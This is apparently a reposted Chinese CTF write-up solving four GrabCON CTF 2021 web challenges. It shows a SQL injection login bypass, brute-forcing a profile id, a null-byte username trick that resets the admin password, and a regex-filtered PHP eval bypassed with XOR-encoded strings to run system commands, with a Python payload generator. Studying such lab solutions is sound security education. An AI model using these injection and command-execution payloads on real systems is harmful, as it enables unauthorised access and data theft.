GrabCON CTF 2021 Web

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了GrabCON CTF 2021 Web相关的知识,希望对你有一定的参考价值。

E4sy Pe4sy

题目描述

  • Hack admin user!

解题思路

  • 找到登录处尝试利用万能密码进行登录,发现密码处存在万能密码登录 admin:admin' or 1=1#
  • 登录后即可拿到 FLAG

Door Lock

题目描述

  • The door is open to all! See who is behind the admin door??

解题思路

  • 注册账号后登录后台,注意到 http://34.135.171.18/profile/index.php?id=1460 后面跟着的 id,联想到题目描述,尝试爆破 id 的数值,在 id 数值为 1766 的页面中成功找到 FLAG

Basic Calc

题目描述

  • Ever used calc based on php?

解题思路

  • 题目给出部分源码
<h2>Welcome to da Basic Calc</h2>
<form action="/" method="POST">
    Enter da equation : <br>
    <input type="text" name="eq"><br>
</form>

<?php

if (isset($_POST["eq"])){
    
    $eq = $_POST["eq"];

    if(preg_match("/[A-Za-z`]+/",$eq)){
        die("BAD.");
    }
    echo "Result: ";
    eval("echo " . $eq . " ;");
}else{
  echo highlight_file('index.php',true);  
}

?>
  • 由于过滤掉了大小写字母无法直接执行命令,这里采用异或方式利用未被过滤的字符来获取字母从而绕过正则过滤
  • 先查看一下根目录下的文件
("system")("ls /")=(('3'^'@').('9'^'@').('3'^'@').('4'^'@').('8'^']').('2'^'_'))(('1'^']').('3'^'@').('^'^'~').'/')
  • 获取 FLAG
("system")("cat /flagggg.txt")=(('3'^'@').('9'^'@').('3'^'@').('4'^'@').('8'^']').('2'^'_'))(('8'^'[').('!'^'@').('4'^'@').('^'^'~').'/'.('8'^'^').('1'^']').('!'^'@').('8'^'_').('8'^'_').('8'^'_').('8'^'_').'.'.('4'^'@').('8'^'@').('4'^'@'))

  • 贴一下异或脚本
# string_code = ['system','ls /']
string_code = ['system','cat /flagggg.txt']
obfuscated_code = ""
charset = "1234567890!#$%&'()*+/^,-.:;<=>?@[]_{|}~"

for code in string_code:
    obfuscated = ""
    for i in code:
        is_found_obfuscated = False
        for j in charset:
            for k in charset:
                if ord(j)^ord(k) == ord(i):
                    is_found_obfuscated = True
                    obfuscated += ".('%s'^'%s')" % (j, k)
                    #print("XOR ="+chr(ord(j)^ord(k)))
                if is_found_obfuscated:
                    break
            if is_found_obfuscated:
                break
        if not is_found_obfuscated:
            obfuscated += ".'%s'" % i
    #print("(%s) = (%s)" % (code, obfuscated[1:]))
    obfuscated_code += "(%s)" % obfuscated[1:]
print(''.join(["(\\"%s\\")" % i for i in string_code]) + '=' + obfuscated_code)

Null Food Factory

题目描述

  • Prove your hacking skill to get admin panel.

解题思路

  • 依旧还是之前的SQL注入题目,尝试一些方法都没有效果后,注意到 NUll 字眼,搜索相关的SQL注入利用方式发现一种叫做 空字符 注入的方法,参考漏洞说明
  • 注册一个用户名为 admin%00 的用户,发现 admin 的密码更新成 ic8aGsk^bh

  • 用得到的密码进行登录 admin:ic8aGsk^bh,成功拿到 FLAG

以上是关于GrabCON CTF 2021 Web的主要内容,如果未能解决你的问题,请参考以下文章

[Writeup]GrabCON CTF 2021 Web

[Writeup]GrabCON CTF 2021 Web

CTF专题一2021网络WEB题目解析

卫生CTF 2021 Web

卫生CTF 2021 Web

Java安全-Java In CTF([红明谷CTF 2021]JavaWeb[红明谷CTF 2021]JavaWeb)